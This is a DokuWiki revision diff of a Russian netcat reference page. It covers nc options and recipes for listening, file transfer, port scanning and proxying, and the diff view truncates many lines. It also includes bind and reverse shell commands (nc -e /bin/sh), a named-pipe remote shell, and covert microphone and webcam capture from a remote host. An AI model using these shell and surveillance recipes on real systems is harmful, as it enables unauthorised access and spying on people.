Различия
Показаны различия между двумя версиями страницы.
Предыдущая версия справа и слева Предыдущая версия Следующая версия | Предыдущая версия | ||
networks:nc [2016/05/21 13:45] – mirocow | networks:nc [2024/04/11 19:23] (текущий) – mirocow | ||
---|---|---|---|
Строка 1: | Строка 1: | ||
- | {{tag> | + | {{tag> |
+ | |||
+ | {{tag> | ||
+ | |||
+ | ====== Netcat ====== | ||
+ | |||
+ | Netcat - это сетевой инструмент, | ||
+ | |||
+ | <code bash> | ||
+ | $ nc -nv 192.168.0.178 80 | ||
+ | $ nc -nlvp 4444 | ||
+ | $ nc -nv 192.168.0.178 4444 | ||
+ | $ nc -v 127.1.0.1 3306 | ||
+ | $ echo " | ||
+ | </ | ||
+ | |||
+ | * -h Справка; | ||
+ | * -v Дополнительная диагностика (verbose) | ||
+ | * -o выходной_файл Выводить дампы данных | ||
+ | * -i число Задержка между отправляемыми данными (в секундах) | ||
+ | * -t Совместимость с Telnet | ||
+ | * -z Не посылать данные (сканирование портов) | ||
+ | * -u Подключаться по UDP (вместо TCP) | ||
+ | * -l Пассивный режим (прослушивание порта) | ||
+ | * -p число * Локальный номер порта (для -l) | ||
+ | * -s host Использовать заданный локальный («свой») IP-адрес | ||
+ | * -n Отключить DNS и поиск номеров портов по / | ||
+ | * -w число Задать тайм-аут (в секундах) | ||
+ | * -q число Задать время ожидания после EOF на входе (в секундах) | ||
+ | * -e исполняемый_файл ! Запустить указанную программу для обмена данных с сетью (вместо стандартных ввода и вывода) | ||
+ | * -с команда ! То же, в виде команды для /bin/sh | ||
+ | * -k Продолжить слушать другие соединения после того как текущее соединение было завершено. | ||
- | ====== netcat/nc ====== | ||
- | Netcat - это сетевой инструмент. | ||
Утилита netcat по сути не делает ничего, | Утилита netcat по сути не делает ничего, | ||
+ | |||
+ | ===== Прослушивание порта ===== | ||
+ | |||
+ | <code bash> | ||
+ | $ nc -nlv 8080 > / | ||
+ | $ echo -n "GET / HTTP/ | ||
+ | $ cat / | ||
+ | </ | ||
+ | |||
+ | ===== Получать сообщения ===== | ||
+ | |||
+ | <code bash> | ||
+ | $ nc -lp 8080 > / | ||
+ | $ nc 0.0.0.0 8080 | ||
+ | $ cat / | ||
+ | </ | ||
===== Передавать файлы ===== | ===== Передавать файлы ===== | ||
+ | |||
(первую команду выполняем на принимающей машине, | (первую команду выполняем на принимающей машине, | ||
+ | <code bash> | ||
$ nc -l 31334 > filename | $ nc -l 31334 > filename | ||
$ nc 172.16.69.143 31334 < filename | $ nc 172.16.69.143 31334 < filename | ||
+ | </ | ||
===== Удаленно читать логи ===== | ===== Удаленно читать логи ===== | ||
+ | |||
(первая - сервер, | (первая - сервер, | ||
+ | <code bash> | ||
$ nc -f / | $ nc -f / | ||
$ nc 172.16.69.143 31334 | $ nc 172.16.69.143 31334 | ||
+ | </ | ||
===== Использовать вместо telnet ===== | ===== Использовать вместо telnet ===== | ||
+ | |||
(первая - telnet-сервер, | (первая - telnet-сервер, | ||
+ | <code bash> | ||
$ nc -l -p 31334 -e /bin/sh | $ nc -l -p 31334 -e /bin/sh | ||
$ nc 172.16.69.143 31334 | $ nc 172.16.69.143 31334 | ||
- | | + | </ |
===== Сканировать на открытые порты ===== | ===== Сканировать на открытые порты ===== | ||
- | | + | <code bash> |
- | + | $ nc -z execbit.ru 1-1024 | |
+ | $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
+ | $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
+ | </ | ||
+ | |||
+ | ===== Создавать удалённую оболочку ===== | ||
+ | |||
+ | Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>& | ||
+ | После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/ | ||
+ | |||
+ | <code bash> | ||
+ | $ nc -lvnp 8080 | ||
+ | $ rm / | ||
+ | </ | ||
===== Осуществлять фингерпринт сервисов на основе баннеров ===== | ===== Осуществлять фингерпринт сервисов на основе баннеров ===== | ||
+ | <code bash> | ||
$ echo " | $ echo " | ||
- | | + | </ |
===== Организовывать обратный шелл ===== | ===== Организовывать обратный шелл ===== | ||
+ | |||
(первая - клиент, | (первая - клиент, | ||
+ | <code bash> | ||
$ nc -e /bin/sh 172.16.69.143 31334 | $ nc -e /bin/sh 172.16.69.143 31334 | ||
$ nc -l -p 31334 | $ nc -l -p 31334 | ||
- | | + | </ |
===== Делать микрофонную запись с удаленной машины ===== | ===== Делать микрофонную запись с удаленной машины ===== | ||
+ | |||
(сервер, | (сервер, | ||
+ | <code bash> | ||
$ arecord -f dat -t raw | nc -l 31337 | $ arecord -f dat -t raw | nc -l 31337 | ||
$ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg | $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg | ||
- | | + | </ |
===== Получать снимки с web-камеры удаленной машины ===== | ===== Получать снимки с web-камеры удаленной машины ===== | ||
+ | |||
(сервер, | (сервер, | ||
+ | <code bash> | ||
$ while [ 1 ]; do streamer -o / | $ while [ 1 ]; do streamer -o / | ||
$ nc localhost 31337 > photo.jpeg | $ nc localhost 31337 > photo.jpeg | ||
- | | + | </ |
Однако, | Однако, | ||
Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, | Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, | ||
+ | <code bash> | ||
$ nc -e 'in ipsec esp/ | $ nc -e 'in ipsec esp/ | ||
172.16.69.143 31334 | 172.16.69.143 31334 | ||
- | | + | </ |
Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: | Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: | ||
+ | <code bash> | ||
$ nc -x172.16.64.1: | $ nc -x172.16.64.1: | ||
+ | </ | ||
В этом примере прокси находится по адресу 172.16.64.1: | В этом примере прокси находится по адресу 172.16.64.1: | ||
Строка 66: | Строка 149: | ||
Сам netcat легко использовать в качестве прокси или редиректора портов, | Сам netcat легко использовать в качестве прокси или редиректора портов, | ||
- | # echo ' | + | <code bash> |
- | | + | $ echo ' |
+ | | ||
>> / | >> / | ||
- | | + | |
+ | </ | ||
Теперь весь трафик, | Теперь весь трафик, | ||
Строка 75: | Строка 160: | ||
Кстати, | Кстати, | ||
- | $ echo / | + | cat / |
- | | + | < |
service redirect-2525-to-25 | service redirect-2525-to-25 | ||
{ | { | ||
Строка 88: | Строка 173: | ||
user = nobody | user = nobody | ||
} | } | ||
+ | </ | ||
+ | |||
+ | ===== Сетевые утилиты ===== | ||
+ | |||
+ | |||
+ | {{topic> |